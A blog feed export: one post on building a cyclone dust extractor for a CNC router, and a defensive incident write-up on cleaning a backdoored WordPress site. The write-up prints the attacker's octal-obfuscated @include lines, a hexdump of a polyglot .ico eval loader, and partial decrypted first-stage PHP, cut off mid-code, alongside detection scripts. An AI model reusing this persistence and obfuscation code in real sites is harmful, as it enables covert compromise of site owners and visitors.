tag:blogger.com,1999:blog-65275828206907329852024-03-20T23:45:29.747+08:00laserphilederwentxhttp://www.blogger.com/profile/18302517537094942860noreply@blogger.comBlogger16125tag:blogger.com,1999:blog-6527582820690732985.post-63911596943445321092019-04-12T14:30:00.000+08:002019-04-12T14:42:36.635+08:00Cyclone Dust extractor for CNC router<div style="text-align: left;">
Recently I got my CNC router up and running (more on that in a later post). The main materials I have been cutting are MDF board and acrylic/poly-carbonate. The acrylic/poly-carbonate cuts very nicely and is easy to clean up. The MDF on the other hand creates lots of fine dust which is difficult to clean and contains formaldehyde which is hazardous to your health. As such I need to employ a system to extract dust from around my CNC machines cutting head. I have a basic nozzle set up on the mill but the vacuum I am using is a retired house model which uses a paper bag which is difficult to empty. To make the system easy to empty I have started designing and building a dust extractor to go inline between my machine and the vacuum.</div>
<div>
<div style="text-align: center;">
<div style="text-align: left;">
<br /></div>
</div>
</div>
<div>
<div style="text-align: center;">
<div style="text-align: left;">
The cone shape below will sit atop a large paint bucket or other container to collect the dust. I will need a few hose connectors to get air in and out too.</div>
</div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3W7uPK_ZWjtSvFsc11WO2qkBn7f_VcffTUkrIkx7njpOQ168XZ6T3gWMIDc6ntOCwIJ6ahO_-g_o8UqRiJVlxACfIQKuRmtHa5lt-KFUK6ti0MmeL4DjZIiMxtIEGyW_TNCWcXmRTghc/s1600/IMG_20170214_015200.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3W7uPK_ZWjtSvFsc11WO2qkBn7f_VcffTUkrIkx7njpOQ168XZ6T3gWMIDc6ntOCwIJ6ahO_-g_o8UqRiJVlxACfIQKuRmtHa5lt-KFUK6ti0MmeL4DjZIiMxtIEGyW_TNCWcXmRTghc/s400/IMG_20170214_015200.jpg" width="298" /></a></div>
<div style="text-align: center;">
<div style="text-align: left;">
<br /></div>
</div>
<div style="text-align: center;">
<div style="text-align: left;">
First I started with the dimensions of the cone I wanted and calculated the net so I could lay it out on a flat sheet of flexible material which I will then bend into shape.</div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXUnUUUUsqikEnB_fmSDs8dcOxe8uuNKJo-OHXw-3O1K9bGFSdl-fuJfb_GsP5Xlb8_vk3pE3QDmM_Qk5TO0_8u1XB2dTTr89y-dWrcT_B355lP8j9Y8C7UvxMaImIyd4cmcuv-_lCyT8/s1600/IMG_20170214_015250.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXUnUUUUsqikEnB_fmSDs8dcOxe8uuNKJo-OHXw-3O1K9bGFSdl-fuJfb_GsP5Xlb8_vk3pE3QDmM_Qk5TO0_8u1XB2dTTr89y-dWrcT_B355lP8j9Y8C7UvxMaImIyd4cmcuv-_lCyT8/s320/IMG_20170214_015250.jpg" width="240" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLRwRtsJ8zg_TN8d6VRGAkNcI9a-ErrWZNVpRj4LKzMNyNSrajhyVo91HfZlUO96mIs3SRR70dBqh_5BMAVarIJIq63rm5OzxBe8CwyCeMUfTScU4IlAT8I8qcgnQLPQgqPgh3UNIkk4o/s1600/IMG_20170214_015227.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLRwRtsJ8zg_TN8d6VRGAkNcI9a-ErrWZNVpRj4LKzMNyNSrajhyVo91HfZlUO96mIs3SRR70dBqh_5BMAVarIJIq63rm5OzxBe8CwyCeMUfTScU4IlAT8I8qcgnQLPQgqPgh3UNIkk4o/s320/IMG_20170214_015227.jpg" width="239" /></a></div>
<div style="text-align: center;">
<div style="text-align: left;">
<br /></div>
</div>
<div style="text-align: center;">
<div style="text-align: left;">
I drew out the design using a 1 meter ruler, set square, a nail and some wire for doing the arcs. I used some stainless steel sheet that I had leftover from another project, it is quite thin and flexible so should suit my purposes.</div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQL9CYGfVJ5NjRCxsiMWzQVOaYNpp9tTUvUSn8OdxjjZvMKx62EIkKR9xh2KCKVOq24kGcvGRziDliVLg0smGwKmwIIW2ITewBfYDp_QnAWG7Q6ZZG9da9D5_a1KVhZAupETHRJ67tL-M/s1600/IMG_20170213_173152.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQL9CYGfVJ5NjRCxsiMWzQVOaYNpp9tTUvUSn8OdxjjZvMKx62EIkKR9xh2KCKVOq24kGcvGRziDliVLg0smGwKmwIIW2ITewBfYDp_QnAWG7Q6ZZG9da9D5_a1KVhZAupETHRJ67tL-M/s320/IMG_20170213_173152.jpg" width="240" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXqMnbLIt7q5OFGsMyek6hHOmZsE8JWpWWpc0jqDF2LsAKmf4wHaj445TTcdv9UM0HxnwhFtEwvcqWIOzVTQDlpaLCxzHkhYL6UkAh1MNRkhWv-wYeuAanb4j_axceqWZ6yzGOicQztOM/s1600/IMG_20170213_174715.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXqMnbLIt7q5OFGsMyek6hHOmZsE8JWpWWpc0jqDF2LsAKmf4wHaj445TTcdv9UM0HxnwhFtEwvcqWIOzVTQDlpaLCxzHkhYL6UkAh1MNRkhWv-wYeuAanb4j_axceqWZ6yzGOicQztOM/s320/IMG_20170213_174715.jpg" width="240" /></a></div>
<div style="text-align: center;">
<div style="text-align: left;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div style="text-align: left;">
<div style="text-align: center;">
<div style="text-align: left;">
I tried a couple of tools cutting out the design but settled on the tin snips. I was lucky to have material of the right size that would suit this project. If you are looking for materials I suggest finding a metal recycler, they often have large off cuts from industry and will sell by weight of the material.</div>
</div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhahNCnW5GfuRP0vsH1pBAuDxNB8FWPDhR28ua0mzZ_PltnNdaIV2YpghIbWG9sE6SSWwIxrkejWo-0LfobuBqAPstxPzbVHgqExLsllum5lHPdc23Q0Y2HzORzhCNitMLkto5Dk3XHEMc/s1600/IMG_20170213_190146.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhahNCnW5GfuRP0vsH1pBAuDxNB8FWPDhR28ua0mzZ_PltnNdaIV2YpghIbWG9sE6SSWwIxrkejWo-0LfobuBqAPstxPzbVHgqExLsllum5lHPdc23Q0Y2HzORzhCNitMLkto5Dk3XHEMc/s400/IMG_20170213_190146.jpg" width="400" /></a></div>
<div style="text-align: center;">
<div style="text-align: left;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
After a bunch of cutting out and drilling I assembled the cone with some M3 bolts, washer and nuts.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLc5XWpmweU-CQ3aZpEUvUrMBYJQ41euJl4XBbFKMihz4AMSKSwBW_Obf6FR-m7OpQyzmUe69OuCE4Bi5Jm2kfmP4giBfJQX2Ys9dGk2SA3F0YpZN0B9wUSG4eKgLCTUrXwQuaEQBn0zY/s1600/IMG_20170213_192152.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLc5XWpmweU-CQ3aZpEUvUrMBYJQ41euJl4XBbFKMihz4AMSKSwBW_Obf6FR-m7OpQyzmUe69OuCE4Bi5Jm2kfmP4giBfJQX2Ys9dGk2SA3F0YpZN0B9wUSG4eKgLCTUrXwQuaEQBn0zY/s320/IMG_20170213_192152.jpg" width="240" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6UPS8RCdt2kBDNvxlMa5sGutkvuYZH28m7tTYQihOGMYtsPWlkPHAT5aPjHrhuNMF5a3RFzE5nWZQFoevEuzSEDatetakHQTnx8Yn-f-dSYe_4AaL4vC9LwyY0H_pw-LCuV1w5p4pa54/s1600/IMG_20170213_195422.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6UPS8RCdt2kBDNvxlMa5sGutkvuYZH28m7tTYQihOGMYtsPWlkPHAT5aPjHrhuNMF5a3RFzE5nWZQFoevEuzSEDatetakHQTnx8Yn-f-dSYe_4AaL4vC9LwyY0H_pw-LCuV1w5p4pa54/s320/IMG_20170213_195422.jpg" width="240" /></a></div>
<div style="text-align: center;">
<div style="text-align: left;">
<br /></div>
</div>
<div style="text-align: center;">
<div style="text-align: left;">
I had the basic cone, now I needed to be able to connect hoses to it and to direct the airflow around the cone. I used fusion 360 to design these parts. The top and bottom plates were easy but I spent a bit of time making the side intake as I was learning some CAD functions I had never used before.</div>
</div>
<div style="text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDqTd_FhCMoqQnbME5pp8Uh4TD8absuHaFQmZ0elZKIM0BXzsjMKeLO-tH1ewLBScPKG823qsBWllDORAPDUlNwsyMPKOxJhxysBgBXATMGVjK4fWPNPHydev5_91zp_OhBTVG4ytHtlE/s1600/CNC+dust+extractor+design.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="370" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDqTd_FhCMoqQnbME5pp8Uh4TD8absuHaFQmZ0elZKIM0BXzsjMKeLO-tH1ewLBScPKG823qsBWllDORAPDUlNwsyMPKOxJhxysBgBXATMGVjK4fWPNPHydev5_91zp_OhBTVG4ytHtlE/s400/CNC+dust+extractor+design.png" width="400" /></a></div>
<div style="text-align: center;">
<div style="text-align: left;">
<br /></div>
</div>
<div style="text-align: center;">
<div style="text-align: left;">
3D printing really suited making the hose connectors as there are a number of complex curves in the parts. It printed with a lot of support material inside the tubes but this was okay as Simplify3D has very good support generation (coming from using slic3r for 2 years).</div>
</div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-_epPZASZEbQ/WK6Y8jK_bxI/AAAAAAAAJxI/oWTP0EcbwG8N9ViSNNntgrl4g_YW3HgogCPcB/s1600/IMG_20170215_095709.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://1.bp.blogspot.com/-_epPZASZEbQ/WK6Y8jK_bxI/AAAAAAAAJxI/oWTP0EcbwG8N9ViSNNntgrl4g_YW3HgogCPcB/s640/IMG_20170215_095709.jpg" width="640" /></a></div>
<div style="text-align: center;">
<div style="text-align: left;">
<br /></div>
</div>
<div style="text-align: center;">
<div style="text-align: left;">
I used my CNC router to make the plates for the top and bottom of the cone. I wanted these in acrylic and not sheet metal as it will add a lot more rigidity to the cone, handily a friend donated me some poly-carbonate a while ago. The picture on the left shows the machine part way through cutting, I use Fusion 360's CAM to generate the path files. I later realised I wanted a larger opening for the air so I had to set up the part again (right image) and find a reference point to use to relate back to my design. I jogged the machine to two diagonal holes near the center and calculated the center from those, it might not be super precise but was close enough for my purposes. Note that the cutting of these disks could be done with a small handheld router and circle jig.</div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjus2RIerue_XoLwZxWq0gSReIRLDMwvAT6ufIhCiBdEvnhNySWUPE1AoXNxHqQE_WkMsXFi5Ezgdud_Jb6vZoZJl2bcTu8dLeu0hL5HJHSFxPs4-yiBZguPhZlyG2FbZ2M6ZuBlKtUUQc/s1600/IMG_20170215_170331.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjus2RIerue_XoLwZxWq0gSReIRLDMwvAT6ufIhCiBdEvnhNySWUPE1AoXNxHqQE_WkMsXFi5Ezgdud_Jb6vZoZJl2bcTu8dLeu0hL5HJHSFxPs4-yiBZguPhZlyG2FbZ2M6ZuBlKtUUQc/s320/IMG_20170215_170331.jpg" width="240" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4RWvVbpBCV8SqmP-Yj4f2E0S7WqvGGt5kS1wTtn9rnBkabyvKpVd2xx0oVVrxYNmB0bmq2XuqRe74Y3oTu-aVJt1byb-qedKiUcq-Qi_pFKpVQrBWL3movS_P1u6heIeQP5zPz8P9Mhw/s1600/IMG_20170217_200718.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4RWvVbpBCV8SqmP-Yj4f2E0S7WqvGGt5kS1wTtn9rnBkabyvKpVd2xx0oVVrxYNmB0bmq2XuqRe74Y3oTu-aVJt1byb-qedKiUcq-Qi_pFKpVQrBWL3movS_P1u6heIeQP5zPz8P9Mhw/s320/IMG_20170217_200718.jpg" width="240" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Here it is all assembled. I need to wrap some tape around the joins to help seal it all up and run some plumbing between the vacuum and router. </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjU90IlSHZ_1SEebztyApyvafT21QtsXzAREVNSrLuCKJuoYsDjVXBGtUnDoCnTE9ioyoiIGFBp3clAmSu45INyDETeIER-vniybiGHeaLuWJPYIKsYjx5SR04YORLp25U6S0uQA_56LYE/s1600/IMG_20170218_145908.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh57ER3w7kpJ47XTUN9tJupcQkk8S9qFQFJVIOhmcE8GLQiDvxScDOruvZRYRGmhtoX-Q0SuZUOd751fT3T8f9bjzpQrs2Kl8o6Hcjyjq-E24hxnpW3MqH5WV0igbKcncK4QYYeSaplddg/s1600/IMG_20170218_161059.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh57ER3w7kpJ47XTUN9tJupcQkk8S9qFQFJVIOhmcE8GLQiDvxScDOruvZRYRGmhtoX-Q0SuZUOd751fT3T8f9bjzpQrs2Kl8o6Hcjyjq-E24hxnpW3MqH5WV0igbKcncK4QYYeSaplddg/s640/IMG_20170218_161059.jpg" width="480" /></a> </div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Unfortunately during testing I blocked the inlet hose and my vacuum cleaner imploded the cone! I was a bit distraught, perhaps I could have used some thicker material to construct the cone? In any case I have a solution. I cut out some rings on the router and glued them along the height of the cone to strengthen it.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGSHH4_OcGkYN0ml6ylsbPGnY-ibwlHUVdWTGE54Hz1g0NavRQmivv0q28SOfo4BK5Cpp7PtOBIHZFKUC2sygO6ivtwSG6-OCmEjeH4x9NWbGi99vOeuEwlNFvRm6OTjql4CrHlpQjKE4/s1600/IMG_20170503_144337.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGSHH4_OcGkYN0ml6ylsbPGnY-ibwlHUVdWTGE54Hz1g0NavRQmivv0q28SOfo4BK5Cpp7PtOBIHZFKUC2sygO6ivtwSG6-OCmEjeH4x9NWbGi99vOeuEwlNFvRm6OTjql4CrHlpQjKE4/s640/IMG_20170503_144337.jpg" width="480" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div style="text-align: center;">
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
In some brief tests the bucket gets filled with dust and debris, I have not measured the efficiency yet but I plan to by sucking up a known weight of dust and then weighing what is deposited in the bucket. </div>
</div>
</div>
mhttp://www.blogger.com/profile/17232225947990688409noreply@blogger.com0tag:blogger.com,1999:blog-6527582820690732985.post-2903780294209078292018-11-14T18:54:00.003+08:002018-11-15T15:05:44.944+08:00Removing a Persistent Backdoor on a Compromised Wordpress Site.Recently one of the Wordpress websites that I sysadmin was hit by an attacker who exploited a serious vulnerability in the WP GDPR Compliance plugin. To start off, I'll explain the techniques I used to to find and remove the backdoors that the attacker left, which can be applied to any and then I'll give you an analysis of some of the cool obfuscation techniques they used in my iteration of the attack. I won't cover anything that has already been covered in <a href="https://blog.sucuri.net/2018/11/erealitatea-net-hack-corrupts-websites-with-wp-gdpr-compliance-plugin-vulnerability.html" target="_blank">this Sucuri article</a> , and <a href="https://www.wordfence.com/blog/2018/11/privilege-escalation-flaw-in-wp-gdpr-compliance-plugin-exploited-in-the-wild/" target="_blank">this WordFence article</a> because they have already done an excellent job, however the attack that these articles cover is several iterations behind the attack that I was hit with.<br />
<br />
Don'worry, this post is pretty long but I've summed it all up in a TL;DR at the end :)<br />
<div>
<h2>
Cleaning Up Trollherten's Backdoor</h2>
</div>
<div>
It seems like there are several variations on this attack. In the iteration of the attack covered by the Sucuri and WordFence articles, the attacker used a malicious <b>wp-cache.php</b> file to hide their backdoor. Although the code from this iteration of the attack is very similar to the code I found several layers of obfuscation deep, the iteration of the attack that hit me had evolved to become much more sophisticated and difficult to find, and I had to perform additional steps to remove several backdoors that were left behind.</div>
<div>
<br /></div>
<div>
First of all, if you haven't already you should perform all of the steps outlined in these articles:</div>
<div>
<ul>
<li>You should make sure the site is using version 1.4.3 or newer of the <a href="https://wordpress.org/plugins/wp-gdpr-compliance/" target="_blank">WP GDPR Compliance plugin</a> to stay safe</li>
<li>You should also disable user registrations and ensure that the default user role is not set to Administrator. This can be accomplished by unchecking the box under <b>Settings > Membership</b> from the WordPress dashboard. You’ll also need to change the role under <b>New User Default Role</b> to <b>Subscriber</b> (or whatever you were using before the attack).</li>
<li>Remove any recently created administrator users that shouldn't be there (in my case they were <b>t3trollherten</b> and <b>t2trollherten</b>, the articles mention a <b>superuser</b> as well.)</li>
<li>If you discover a <b>wp-cache.php</b> file in the root of your wordpress installation, remove that file too.</li>
</ul>
<div>
Now it's time to hunt for backdoors.</div>
</div>
<div>
<br /></div>
<div>
I started off my search by using WordFence's scan feature, which compares all of the plugin, core, and theme files on your site with the plugin author's version of those files to look for where files have been updated or created. This quickly detected a few innocuous looking files that had been added, and one core file that had been changed.</div>
<div>
<br /></div>
<div>
<b>index.php</b>, a file that gets called almost every time a page is loaded, had been modified to include a very suspicious looking string.</div>
<div>
<br /></div>
<div>
<pre class="brush: php">@include "\057ho\155e/[redacted]\057pu\142li\143_h\164ml\057wp\055co\156te\156t/\160lu\147in\163/s\150or\164co\144er\057.9\064a9\060d7\141.i\143o";</pre>
<br /></div>
<div>
I would have thought that using WordFence to restore these files back to the un-modified versions would fix everything, however the next day after I had cleaned everything up, I re-scanned the filesystem and found that the backdoor had been re-installed into <b>index.php</b> with a similar looking but different path.<br />
<br /></div>
<pre class="brush: php">@include "\057hom\145/[redacted]/p\165bli\143_ht\155l/w\160-co\156ten\164/pl\165gin\163/wo\162dpr\145ss-\151mpo\162ter\057.8b\1464b8\061f.i\143o";</pre>
<div>
<br />
We're going to have to go a bit deeper to get rid of the persistence...
</div>
<h2>
Injected @include</h2>
In this layer, the attacker has injected an include statement in multiple php files that are either newly created index.php files in existing directories which are accessible externally, or are included during a typical request. in my case these were:<br />
<ul>
<li>cgi-bin/index.php</li>
<li>.well-known/pki-validation/index.php</li>
<li>.well-known/index.php</li>
<li>index.php</li>
<li>wp-settings.php</li>
<li>wp-cache.php</li>
<li>favicons/index.php</li>
<li>xero-certs/index.php</li>
</ul>
<div>
Although these files were recently modified or created, their modification time was either reset to an old value so as to avoid detection without calling <b>stat</b>. here is an example stat of index.php which was most certainly modified on 2018-11-14 with the injected include statement. </div>
<br />
<pre class="brush: text"> File: '/home/annachandler/public_html/index.php'
Size: 597 Blocks: 8 IO Block: 4096 regular file
Device: 801h/2049d Inode: 19107780 Links: 1
Access: (0755/-rwxr-xr-x) Uid: ( 1002/annachandler) Gid: ( 1005/annachandler)
Context: unconfined_u:object_r:home_root_t:s0
Access: 2018-11-14 00:02:03.284354669 +0000
Modify: 2018-08-08 14:04:14.000000000 +0000
Change: 2018-11-14 00:02:01.048178609 +0000
Birth: -</pre>
<br />
<h3>
Cleanup</h3>
<div>
I made a bash script to stat all of the files which match this pattern:<br />
<br /></div>
<div>
<pre class="brush: bash">for infected in $(
find . -type f -exec grep -Hnzl -P '(?s)/\*[\dA-Za-z]+\*/\n\n@include' {} \;
); do stat $infected; done
</pre>
<br /></div>
You should manually check for this import statement in each file that matches this pattern. The information from stat is useful for building up a timeline of when you were infected. This is one of many layers, so skip ahead to each cleanup section if you're only after cleanup instructions.<br />
<h3>
How it works</h3>
The include string used <a href="http://php.net/manual/en/regexp.reference.escape.php" target="_blank">octal escapes</a> to obfuscate a path to an '.ico' file within a random plugin.<br />
<br />
<div>
<pre class="brush: php">@include "/home/[redacted]/public_html/wp-content/plugins/shortcoder/.94a90d7a.ico";</pre>
<pre class="brush: php"></pre>
</div>
<div>
I'll cover what this file does in the next section.<br />
<h2>
Polymorphic Polyglot .ico</h2>
"Surely PHP can't just run an image file like that" you're probably thinking. Well, this is no ordinary image file, It's a <a href="https://en.wikipedia.org/wiki/Polymorphic_code" target="_blank">polymorphic</a> <a href="https://en.wikipedia.org/wiki/Polyglot_(computing)" target="_blank">polyglot</a> , and since the binary file starts with the magic <b><?php</b> opening tag, php can include the file as if it were a php file, regardless of its extension. This means that many scanners would not even scan for the file.<br />
<h3>
Cleanup</h3>
<div>
Without the php files to call them, these .ico files are pretty harmless, but you can use this script to discover them. <b>Note:</b> There will be some false positives.</div>
<div>
<pre class="brush: bash"></pre>
<pre class="brush: bash">for infected in $(
find . -regextype egrep -regex '.*/[a-z]+.ico' -exec grep -Hnzl '^<?php' {} \;
); do stat $infected; done</pre>
</div>
<h3>
How it Works</h3>
Here is what the file contents look like.<br />
<br /></div>
<div>
<pre class="brush: text">> cat .94a90d7a.ico | hexdump -C
00000000 3c 3f 70 68 70 0a 24 5f 78 79 6b 70 6c 6a 38 20 |<?php.$_xykplj8 |
00000010 3d 20 62 61 73 65 6e 61 6d 65 2f 2a 71 2a 2f 28 |= basename/*q*/(|
00000020 2f 2a 70 71 2a 2f 74 72 69 6d 2f 2a 30 2a 2f 28 |/*pq*/trim/*0*/(|
00000030 2f 2a 30 2a 2f 70 72 65 67 5f 72 65 70 6c 61 63 |/*0*/preg_replac|
00000040 65 2f 2a 66 6e 6c 68 74 2a 2f 28 2f 2a 31 72 76 |e/*fnlht*/(/*1rv|
00000050 2a 2f 72 61 77 75 72 6c 64 65 63 6f 64 65 2f 2a |*/rawurldecode/*|
00000060 31 63 68 36 2a 2f 28 2f 2a 66 63 2a 2f 22 25 32 |1ch6*/(/*fc*/"%2|
00000070 46 25 35 43 25 32 38 2e 25 32 41 25 32 34 25 32 |F%5C%28.%2A%24%2|
00000080 46 22 2f 2a 6c 7a 2a 2f 29 2f 2a 75 66 2a 2f 2c |F"/*lz*/)/*uf*/,|
00000090 20 27 27 2c 20 5f 5f 46 49 4c 45 5f 5f 2f 2a 71 | '', __FILE__/*q|
000000a0 38 65 79 2a 2f 29 2f 2a 6a 6c 30 68 31 2a 2f 2f |8ey*/)/*jl0h1*//|
000000b0 2a 31 79 7a 63 77 2a 2f 29 2f 2a 6b 6f 6e 68 72 |*1yzcw*/)/*konhr|
000000c0 2a 2f 2f 2a 79 2a 2f 29 2f 2a 62 2a 2f 3b 24 5f |*//*y*/)/*b*/;$_|
000000d0 65 38 31 67 34 78 20 3d 20 22 47 5f 25 31 34 49 |e81g4x = "G_%14I|
000000e0 25 31 38 54 25 30 31 51 25 30 38 25 34 30 25 30 |%18T%01Q%08%40%0|
000000f0 43 25 30 37 47 25 30 39 4a 25 34 30 25 31 33 25 |C%07G%09J%40%13%|
00000100 35 43 51 25 30 39 68 25 30 32 41 25 30 37 25 31 |5CQ%09h%02A%07%1|
...
00007a60 44 25 31 43 44 25 31 37 25 34 30 45 43 4b 25 35 |D%1CD%17%40ECK%5|
00007a70 44 54 57 25 31 35 25 34 30 42 25 30 30 59 48 25 |DTW%15%40BYH%|
00007a80 30 37 52 69 25 31 32 22 3b 65 76 61 6c 2f 2a 6a |07Ri%12";eval/*j|
00007a90 79 33 71 2a 2f 28 2f 2a 61 32 2a 2f 72 61 77 75 |y3q*/(/*a2*/rawu|
00007aa0 72 6c 64 65 63 6f 64 65 2f 2a 75 2a 2f 28 2f 2a |rldecode/*u*/(/*|
00007ab0 72 35 6a 7a 2a 2f 24 5f 65 38 31 67 34 78 2f 2a |r5jz*/$_e81g4x/*|
00007ac0 6f 77 61 2a 2f 29 2f 2a 32 69 33 62 2a 2f 20 5e |owa*/)/*2i3b*/ ^|
00007ad0 20 73 75 62 73 74 72 2f 2a 6e 74 68 69 2a 2f 28 | substr/*nthi*/(|
00007ae0 2f 2a 6b 2a 2f 73 74 72 5f 72 65 70 65 61 74 2f |/*k*/str_repeat/|
00007af0 2a 35 6a 75 6d 2a 2f 28 2f 2a 72 2a 2f 24 5f 78 |*5jum*/(/*r*/$_x|
00007b00 79 6b 70 6c 6a 38 2c 20 2f 2a 61 68 62 74 6d 2a |ykplj8, /*ahbtm*|
00007b10 2f 28 2f 2a 38 67 7a 2a 2f 73 74 72 6c 65 6e 2f |/(/*8gz*/strlen/|
00007b20 2a 62 65 72 63 38 2a 2f 28 2f 2a 38 35 7a 2a 2f |*berc8*/(/*85z*/|
00007b30 24 5f 65 38 31 67 34 78 2f 2a 73 30 78 72 2a 2f |$_e81g4x/*s0xr*/|
00007b40 29 2f 2a 64 74 2a 2f 2f 73 74 72 6c 65 6e 2f 2a |)/*dt*//strlen/*|
00007b50 33 79 72 2a 2f 28 2f 2a 7a 67 68 32 2a 2f 24 5f |3yr*/(/*zgh2*/$_|
00007b60 78 79 6b 70 6c 6a 38 2f 2a 6b 39 2a 2f 29 2f 2a |xykplj8/*k9*/)/*|
00007b70 66 2a 2f 2f 2a 65 7a 77 38 2a 2f 29 2f 2a 34 6f |f*//*ezw8*/)/*4o|
00007b80 37 74 2a 2f 20 2b 20 31 2f 2a 32 61 63 6b 2a 2f |7t*/ + 1/*2ack*/|
00007b90 29 2f 2a 61 66 36 73 2a 2f 2c 20 30 2c 20 73 74 |)/*af6s*/, 0, st|
00007ba0 72 6c 65 6e 2f 2a 78 2a 2f 28 2f 2a 65 39 78 6e |rlen/*x*/(/*e9xn|
00007bb0 74 2a 2f 24 5f 65 38 31 67 34 78 2f 2a 61 77 6f |t*/$_e81g4x/*awo|
00007bc0 30 76 2a 2f 29 2f 2a 32 70 79 6b 2a 2f 2f 2a 6b |0v*/)/*2pyk*//*k|
00007bd0 2a 2f 29 2f 2a 38 2a 2f 2f 2a 34 2a 2f 29 2f 2a |*/)/*8*//*4*/)/*|
00007be0 62 74 69 2a 2f 3b 0a 0a 0a 2f 2f 63 30 31 61 64 |bti*/;...//c01ad|
00007bf0 31 37 65 66 61 61 36 32 66 36 65 34 35 35 33 61 |17efaa62f6e4553a|
00007c00 31 32 30 39 61 33 34 38 64 64 30 67 38 61 25 33 |1209a348dd0g8a%3|
00007c10 44 25 32 46 25 32 30 39 34 71 70 2d 63 76 69 39 |D%2F%2094qp-cvi9|
00007c20 75 6a 31 25 32 42 25 33 44 68 63 30 25 33 46 25 |uj1%2B%3Dhc0%3F%|
</pre>
<br />
The first part of the file decrypts and evals some php code, which then decrypts a comment at the end of the file containing a serialised object that the malware uses to store state.<br />
<br />
This first stage uses XOR encryption where the key material is based on the current <b>__FILE__</b> , and the ciphertext is a large urlencoded string. This encryption method breaks most automatic de-obfuscation tools that I tried, so in order to decrypt it, I had to replace <b>__FILE__</b> with the filename and the eval with print_r and run in a php sandbox. Here is the decrypted first stage with some comments and my interpretation of what the variables mean.<br />
<br />
<pre class="brush: php">if (!defined('stream_context_create '))
{
define('stream_context_create ', 1);
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);
if(!defined("PHP_EOL"))
{
define("PHP_EOL", "\n");
}
if(!defined("DIRECTORY_SEPARATOR"))
{
define("DIRECTORY_SEPARATOR", "/");
}
if (!defined('file_put_contents '))
{
define('file_put_contents ', 1);
$uuid = 'e2af0b4b-3817-4cd6-88e8-8167bb8abf6c';
global $uuid;
function spicy_b64_decode($encoded) {
if (strlen($encoded) < 4)
{
return "";
}
$chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
$char_values = str_split($chars);
$char_values = array_flip($char_values);
$index = 0;
$decoded = "";
$encoded = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $encoded);
